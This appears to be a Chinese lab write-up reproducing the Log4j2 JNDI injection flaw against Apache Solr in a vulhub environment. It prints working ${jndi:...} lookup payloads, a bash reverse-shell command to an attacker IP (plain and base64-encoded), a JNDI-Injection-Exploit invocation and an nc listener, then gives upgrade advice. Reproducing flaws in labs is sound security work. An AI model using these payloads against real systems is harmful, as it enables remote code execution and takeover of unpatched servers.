1.概述
本文主要介绍log4j2漏洞的原理以及在vulhub环境下对log4j2漏洞的复现过程。
2.实验环境
vulhub地址:https://github.com/vulhub/vulhub
攻击机kali:192.168.145.130
3.漏洞原理
Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。
4.漏洞复现
4.1启动环境
搭建好vulhub环境后进入log4j目录下执行启动命令:docker-compose up -d
在浏览器中访问http://127.0.0.1:8983/solr/#/查看Apache Solr后台页面。
环境启动成功!
4.2漏洞复现
利用临时域名判断是否存在log4j2漏洞。
访问http://dnslog.cn/ 获取一个临时域名:b38hy1.dnslog.cn
通过更改获取的临时域名进行构造payload,
http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://b38hy1.dnslog.cn}
访问之后发现有请求访问记录,说明log4j2漏洞
4.3反弹shell
jndi注入工具下载地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
通过base64对bash语句进行编码
bash -i >& /dev/tcp/192.168.145.130/2345 0>&1
将编码后的语句使用jndi注入工具执行命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0NS4xMzAvMjM0NSAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.145.130
通过jndi注入获得rmi和ldap相关参数,利用注入得到的结果可以构造payload尝试反弹shell。
在攻击机ip:192.168.145.130 使用nc命令监听端口2345
在宿主机unbutu浏览器中访问payload:
http://127.0.0.1:8983/solr/admin/cores?action=${jndi:rmi://192.168.145.130:1099/mcquut}
反弹shell成功,可以通过shell操作被攻击的机器。
5.修复建议
此漏洞的影响的版本为2.0到2.14.1,目前已经提供更高版本,可以升级版本避免log4j2漏洞的任意代码执行。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)